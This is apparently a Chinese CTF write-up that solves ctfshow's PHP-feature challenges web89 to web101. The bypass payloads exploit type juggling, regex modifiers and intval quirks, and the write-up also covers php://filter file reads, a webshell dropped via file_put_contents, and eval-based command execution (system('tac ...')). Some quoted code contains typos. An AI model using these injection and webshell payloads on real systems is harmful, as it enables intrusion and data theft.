ctfshow php特性(web89-web101)

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

web99

web100 

web101


php特性(php基础知识)

web89

<?php
include("flag.php");
highlight_file(_FILE_);if(isset($_GET['num'])){$num=$_GET['num'];if(preg_match("/[0-9]/",$num)){die("no no no"); #结束脚本呢执行输出指定信息}if(intval($num)){#把参数转换整数类型echo $flag;}
}

preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了

但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收到数组 会将数组的每一个值转换为整型从而条件语句为真 输出flag

对于我来说有特性(php基础知识)

1preg_match只能处理字符串

2 url传值的时候 服务器接收值是字符串

2变量可以是数组 :$num是变量 但是传值的时候可以是num[]=???

3当文件B包含一个文件A时 如果在A中定义了一个变量的值 在B中可以获取到该变量的值

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断echo $flag;}else{echo intval($num,0);}
}

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等

代表完全相等 算是python中的同一性 is

如果传入值为4476 就会输出nonono 如果输出flag变量的值必须是4476 这就冲突了 如何解决呢

if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断

第一种方法:十进制是没有前缀的 但是+4476后(到后端就是字符串+4476 所以不等于字符串4476) 就绕过了死亡函数die 但是intval因为有0的参数 它会根据前缀将+4476识别为十进制的4476 所以4476===4476

第二种方法:0x117c是十六进制的4476 传入0x117c字符串 也会绕过死亡函数 并且intval函数会将0x117c当作十六进制 转换成十进制整数

注意 intval默认情况下是转换成十进制整形

对于我来说有特性(php基础知识)

1传参到后端默认是字符串

2intval函数 如果第二个参数为0 就会根据变量的前缀 转换成对应的十进制整形

3===表示完全相等 值和类型必须都相等

web91

<?php
show_source(_FILE_);#将页面源代码输出到页面中
include("flag.php");
$a=$_GET['cmd'];
#正则匹配变量 以php开头并且以php结尾的 也就是精确匹配 
#字符串中必须只有php m修饰符代表多行匹配 也就是说能匹配到php\n或者php\nphp
#如果没有m修饰符 那么不能匹配到php\n了 因为多行匹配的原因
#正则i 为忽略大小写
if(preg_math('/^php$/im',$a)){if(preg_math('/^php$/i',$a)){echo 'hacker';}else{echo $flag;}
else{echo "nonono";
}
}

首先传入的字符串必须是php开头结尾的字符串 才能执行语句块 但是语句块内如果字符串为php那就会输出hacker 这就犯冲突了 

这就利用到了m修饰符的作用  多行匹配 以字符串中\n为分隔符 分隔出多行 如果其中一行匹配到php开头或者结尾 就算匹配成功 例如字符"aaa\nphp"第二行匹配到了php字符串 返回true 执行语句块 在语句块中正则匹配 单行匹配 这样就不会将\n视为分隔符了 而是将"aaa\nphp"当作一行进行匹配 从而匹配不上 这样就能输出flag了

对于我来说有特性(php基础知识)

1正则匹配m修饰符为多行匹配 视\n为分隔符 分割多行逐行匹配

2 传参是必须使用%0a作为换行符\n不行 原因:在 HTTP 协议中,换行符(特殊字符)需要使用 %0a(即 \n 的 URL 编码形式)来表示,而不是使用 \n \n在url中属于非法字符 从而导致无法解析错误等一系列问题

3 空格如果进行url编码可能会变成+并不是%20  其中使用urlencode空格会变成+ 注意即可

4 和这道题没关为什么传注释符的时候最好使用--+ 因为--后要加上空格 +或者%20就是空格url编码后的 如果不使用+ --后的空格 可能服务器接收不到 注意就行

web92

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){$num=$_GET['num'];if($num==4476){die("no no no");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

php特性:比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同 也就是说如果传值为4476或者+4476 会将字符串转换成$num==4476中的4476同一类型也就是整形 

因为intval中第二个参数为0 所以传值为十六进制的4476即可

web93

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){$num=$_GET['num'];if($num==4476){die("no no no");}if(preg_match("/a-z/i",$num)){die("no no no");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

上一题的进阶版 就是不能加上一个条件不能字符串中不能存在a-z 那么就不能使用0x117c 十六进制的4476了 传参使用八进制的4476即可 因为八进制前缀为0 当然也可以使用小数进行绕过4476.1

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){//在变量中如果匹配到字符0返回下标位置die("no no no!");}if(intval($num,0)===4476){echo $flag;}
}

使用了===进行完全比较 类型与值必须完全相等 并且是和“4476”字符串进行比较

因为有!strpos不能使用八进制的4476 因为开头是0 返回的下标值也为0 取反为1 就会执行语句块

那就使用小数就能 4476.0 小数点后必须有0 因为strpos函数如果匹配不到0返回false 取反为true

php特性

strpos函数匹配字符串中子字符串 如果匹配到返回子字符串第一个位置的下标

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){ # 不能使用小数点 因为==会转换成相同类型 4476.0转换为4476进行比较die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){ #不能有字母die("no no no!!");}if(!strpos($num, "0")){ #必须要有0die("no no no!!!");}if(intval($num,0)===4476){#完全相等类型和值echo $flag;}
}

有点难搞 不能使用小数点(第一个比较为==会转换类型) 十六进制 八进制

那就逐个尝试

本来想着使用?num=-4476.0 转换类型也没事先通过第一个死亡函数再说 但是发现第二个死亡函数过滤了小数点 于是使用-04476

那就是用?num=-04476 结果无输出 虽然绕过了所有的死亡函数 但是卡在了输出flag的条件上

在本地环境试 如何让intval($num,0)===4476 $num值为多少前提在-04476基础上 因为能绕过前三个死亡函数

还好在本地测试了 -04476还真不行 我以为intval在转换的时候只识别第一个字符负号- 结果识别的是0 就变成-4476是一个八进制 转换十进制 为-2366 那就改为-010547 既然这样那就没必要因为绕过第一个死亡函数而使用-号了 直接使用+号即可+010547 传参+变为空格也是可以的

php特性 ==和===

== 比较时会转换类型 

=== 必须完全相等 类型以及值

web96

<?php
highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}

有两种方法 也算是两个知识点

第一种./file的方式 也就是./flag.php

?u=./flag.php

第二种直接使用php数据流的方式读取文件内容

?u=php://filter/convert.base64-encode/resource=flag.php

注意highlight_file函数必须完全匹配才能显示文件内容 举例文件名为flag.php 如过高亮flag.PHP是不可以的

web97

<?php
include("flag.php");
highlight_file(__FILE__)
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){if(md5($_POST['a']===md5($_POST['b'])))echo $flag;elseprint 'wrong';
}
}

a和b必须不同 但是md5值必须相同 想让值不同md5值相同 跟不就不可能

这个时候就用上md5只能处理字符串的知识点了 如果a和b是数组md5处理不了就会返回false

从而false===false

又学到一个知识点在php中 数组就是一个对象

这里使用bp不知道为啥 又来一个小知识点使用bp的时候记得分清GET和POST哦 

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';#这个引用就是地址 类似于c语言中的地址 可以理解为改变了GET的地址 
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

首先就是三元运算 类似于sql中的if函数 先判断GET全局变量是否存在值如果存在将POST引用复制给GET 否则返回一个flag字符串常量

中间cookie和server对我们来说没用 最后的条件是让get中的http_flag=flag 就能输出$flag了 但是因为第一个三目运算的原因 如果get存在值 就会将post引用传给get 从而get又变空了 这个时候只要保障POST中存在HTTP_FLAG=flag且GET存在任意一个变量即可

知识点$_GET是全局变量 如果进行传参 这个全局变量就包含一个关联数组 键就是参数名 值为参数值 

web99

<?php
highlight_file(__FILE__);
$allow=array();#创建一个数组
for ($i=36;$i<0x36d;$i++){#877 从36累加到0xarray_push($allow,rand(1,$i));#生成一个1-$i的随机整数包含边界放置到数组最后方
}
if(isset($_GET['n'])&&in_array($_GET['n'],$allow)){file_put_contents($_GET['n'],$_POST['content']);
}

知识点

in_array函数判断指定字符串是否存在数组中 弱类型比较 1.php和1比较 是比较成功的

in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为整数1

file_put_contents函数将数据写入文件中 如果文件不存在会创建文件

&&比and优先级高&哪怕第一个为假也会计算第二个 

php中的数组 可以是只有值的索引就是0开始的 也可以是键值对形式

直接写一句话木马即可

web100 

<?php
highlight_file(__FILE__);
include("flag.php");
//flag in class ctfshow;
$ctfshow= new ctfshow(); $ctfshow是一个类对象 既然能实例化肯定是包含的ctfshow.php里面定义了一个类
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
# 判断变量是否为数字或者数字字符串
# 等于号优先级高 所以只用看v1为数字即可
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/",$v2)){if(preg_match("/\;/",$v3)){eval("$v2('ctfshow')$v3");}}
}

关键在这一句 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

因为=优先级高 所以他会先对$v0进行赋值 这样就达到了只要是v1为数字即可

if条件中要保证v2没有分号v3要有分号

第一种方法

eval("$v2('ctfshow')$v3"); 这是输出flag的函数 如果能输出呢

var_dump('ctfshow');

echo('ctfshow');

print_r('ctfshow');

都不行

只输出 ctfshow这个字符串 这是为什么呢 因为我们要输出的是$ctfshow变量 但是代码中是ctfshow字符串 从而他只能输出 字符串了 

解决方法就是注释掉

eval("var_dump($ctfshow)/*('ctfshow')*/;");

第二种方法

因为有eval直接尝试一下phpinfo()是否可以

?v1=1&v2=phpinfo()?>&v3=; 可以 直接截断代码 无报错但是phpinfo后的("ctfshow")以及$v3的值会当成字符串输出出来

?v1=1&v2=phpinfo()&v3=; 可以 直接执行phpinfo()  有点小报错不影响

?v1=1&v2=phpinfo();/*&v3=*/; 不可以 v2不能存在分号

?v1=1&v2=phpinfo();echo&v3=;不可以 和上面同理

成功执行后确定为漏洞点 使用一句话木马替换phpinfo

?v1=1&v2=eval($_POST['a'])?>&v3=; v2末尾使用的是?>才可以

虽然最终语句变成了eval("eval(system('ls');)?>  照样可以执行ls

使用shell方式查看文件内容

a=system('tac ctfshow.php');

使用php中高亮显示文件函数 实现实现文件内容

a=highlight_file('./ctfshow.php');  切记要用引号哦  不使用./也可以
都可以查看ctfshow.php中的flag

知标题一识点

1 如果包含了一个文件 那在本文件下可以使用包含文件的变量 以及类 等包含文件内容

2 echo只能以字符串的形式输出 不能输出对象 (但是在类中定义魔术方方法__toString() echo也能输出 输出的是魔术方法返回值)var_dump和print_r可以详细输出对象

3eval函数内的执行语句 有没有分号都能执行成功

4 想要执行shell中的 必须使用system函数 光用eval只是执行代码

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}   
}
?>

相较于上一题来说v2过滤了很多字符 还有一种方法能输出就是php反射函数

注意 php反射类简单理解就是 获取了类的信息 以var_dump方式获取后成为一个字符串 使用echo输出出来

?v1=1&v2=echo new Reflectionclass&v3=;

eval("echo new Reflectionclass('ctfshow');");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/241849.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【征服redis2】redis的事务介绍

目录 目录 1.redis事务介绍 2 事务出错的处理 3.Java如何使用redis事务 1.redis事务介绍 在前面我们介绍了redis的几种典型数据结构和应用&#xff0c;本文我们来看一下redis的事务问题。事务也是数据库的重要主题&#xff0c;熟悉关系型数据库的读者应该对事务比较了解&a…

深度学习记录--偏差/方差(bias/variance)

误差问题 拟合神经网络函数过程中会出现两种误差&#xff1a;偏差(bias)和方差(variance) 偏差和误差的区别 欠拟合(underfitting) 当偏差(bias)过大时&#xff0c;如左图&#xff0c;拟合图像存在部分不符合值&#xff0c;称为欠拟合(underfitting) 过拟合(overfitting) …

【Linux install】Ubuntu和win双系统安装及可能遇到的所有问题

文章目录 1.前期准备1.1 制作启动盘1.2关闭快速启动、安全启动、bitlocker1.2.1 原因1.2.2 进入BIOSshell命令行进入BIOSwindows设置中高级启动在开机时狂按某个键进入BIOS 1.2.3 关闭Fast boot和Secure boot 1.3 划分磁盘空间1.3.1 查看目前的虚拟内存大小 2.开始安装2.1 使用…

2018年认证杯SPSSPRO杯数学建模C题(第二阶段)机械零件加工过程中的位置识别全过程文档及程序

2018年认证杯SPSSPRO杯数学建模 基于轮廓提取与图像配准的零件定位问题研究 C题 机械零件加工过程中的位置识别 原题再现&#xff1a; 在工业制造自动生产线中&#xff0c;在装夹、包装等工序中需要根据图像处理利用计算机自动智能识别零件位置&#xff0c;并由机械手将零件…

还在手动复制文章吗?教你如何一键将文章从notion同步到WordPress

本文会给大家介绍如何在WordPress上安装一个插件&#xff0c;实现将notion上写的文章自动同步到WordPress上&#xff0c;从而提高写作效率&#xff0c;接下来请跟随我的脚步一起来操作吧&#xff01; 一、插件安装 在WordPress后台添加新插件页面中搜索“notion”&#xff0c;…

小程序样例1:简单待办列表

基本功能&#xff1a; 显示所有待办列表&#xff08;点击不同的文本进行显示&#xff09; 没完成的待办 已完成的待办 新建待办test 清除待办foo 代码js文件&#xff1a; //index.js //获取应用实例 const app getApp(); Page({data: {todo: ,todos: [{"id": 1474…

【动态规划】【C++算法】741摘樱桃

作者推荐 【动态规划】【数学】【C算法】18赛车 涉及知识点 动态规划 LeetCode741 摘樱桃 给你一个 n x n 的网格 grid &#xff0c;代表一块樱桃地&#xff0c;每个格子由以下三种数字的一种来表示&#xff1a; 0 表示这个格子是空的&#xff0c;所以你可以穿过它。 1 表…

【设计模式】腾讯二面:自动贩卖机/音频播放器使用了什么设计模式?

状态模式是什么&#xff1f; 状态模式&#xff0c;也被称作状态对象模式&#xff0c;是一种行为设计模式。 当一个对象的内在状态改变时&#xff0c;允许改变其行为&#xff0c;这个对象看起来像是改变了其类。 它让对象在其内部状态改变时改变自己的行为。外部调用者无需了…

Spring Boot程序的打包与运行:构建高效部署流程

引言 在现代应用开发中&#xff0c;高效的打包和部署流程对于项目的开发、测试和上线至关重要。Spring Boot作为一种快速开发框架&#xff0c;提供了方便的打包工具和内嵌式的Web服务器&#xff0c;使得打包和运行变得更加简单。本文将研究在Spring Boot应用中如何进行打包&am…

MyBatisPlus学习笔记三-核心功能

接上篇&#xff1a; MyBatisPlus学习笔记二-CSDN博客 1、核心功能-IService开发基础业务接口 1.1、介绍 1.2、引用依赖 1.3、配置文件 1.4、用例-新增 1.5、用例-删除 1.6、用例-根据id查询 1.7、用例-根据ids查询 2、核心功能-IService开发复杂业务接口 2.1、实例-更新 3、…

【C语言】编译和链接深度剖析

文章目录 &#x1f4dd;前言&#x1f320; 翻译环境和运行环境&#x1f309;翻译环境 &#x1f320;预处理&#xff08;预编译&#xff09;&#x1f309;编译 &#x1f320;词法分析&#x1f320;语法分析 &#x1f309;语义分析&#x1f320;汇编 &#x1f309; 链接&#x1f…

KubeSphere 核心实战之二【在kubesphere平台上部署redis】(实操篇 2/4)

文章目录 1、登录kubesphere平台2、redis部署分析3、redis容器启动代码4、kubesphere平台部署redis4.1、创建redis配置集4.2、创建redis工作负载4.3、创建redis服务 5、测试连接redis 在kubesphere平台上部署redis应用都是基于redis镜像进行部署的&#xff0c;所以所有的部署操…

[AI]文心一言出圈的同时,国外的ChatGPT-4.5最新资讯

前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家&#xff1a;https://www.captainbed.cn/z ChatGPT体验地址 文章目录 前言4.5key价格泄漏ChatGPT4.0使用地址ChatGPT正确打开方式最新功能语音助手存档…

Spring Cloud 微服务中 gateway 网关如何设置健康检测端点

主要是为了让 k8s 识别到网关项目已经就绪&#xff0c;但是又不想在里面通过 Controller 实现。因为在 Controller 中这样做并不是最佳实践&#xff0c;因为 Gateway 的设计初衷是专注于路由和过滤&#xff0c;而不是业务逻辑的处理。 在 Gateway 中配置健康检查端点可以通过以…

从零开始配置vim(Windows版)

事情是这样的&#xff0c;之前linux下vim用习惯了...然后就给自己win下vscode也装了个vim插件&#xff0c;用下来还是感觉不顺手&#xff0c;并且处理太多文本时有明显卡顿&#xff0c;于是乎自己配了下win版的vim。 不过好像也并不是从零开始的...初始基础版的.vimrc有copy他们…

多行SQL转成单行SQL

如下图所示 将以上多行SQL转成单行SQL 正则表达式如下 (?s)$[^a-zA-Z()0-9]*结果如下 灵活使用,也未必只能使用Sublime Text 提供了一个在线工具

【手撕C语言 第五集】分支和循环(下)

for循环 我们已经知道了while循环&#xff0c;但是我们为什么还要一个for循环呢&#xff1f; 首先来看看for循环的语法&#xff1a; 表达式1 表达式1为初始化部分&#xff0c;用于初始化循环变量的。 表达式2 表达式2为条件判断部分&#xff0c;用于判断循环时候终止。 表达式…

Kafka集群与可靠性

Kafka集群与可靠性 1.Kafka集群搭建实战 使用两台Linux服务器&#xff1a;一台192.168.182.137 一台192.168.182.138 安装kafka首先&#xff0c;我们需要配置java环境变量&#xff08;这里就略过了&#xff09; mkdir /opt/kafka #上传压缩包kafka_2.13-3.3.1.tgz并解压 ta…

006.Oracle事务处理

我 的 个 人 主 页&#xff1a;&#x1f449;&#x1f449; 失心疯的个人主页 &#x1f448;&#x1f448; 入 门 教 程 推 荐 &#xff1a;&#x1f449;&#x1f449; Python零基础入门教程合集 &#x1f448;&#x1f448; 虚 拟 环 境 搭 建 &#xff1a;&#x1f449;&…

STM32407用汇顶的GT911触摸芯片调试实盘

这个配置很关键 代码 #include "stm32f4xx.h" #include "GT9147.h" #include "Touch.h" #include "C_Touch_I2C.h" #include "usart.h" #include "delay.h" #include "LCD.h" #incl…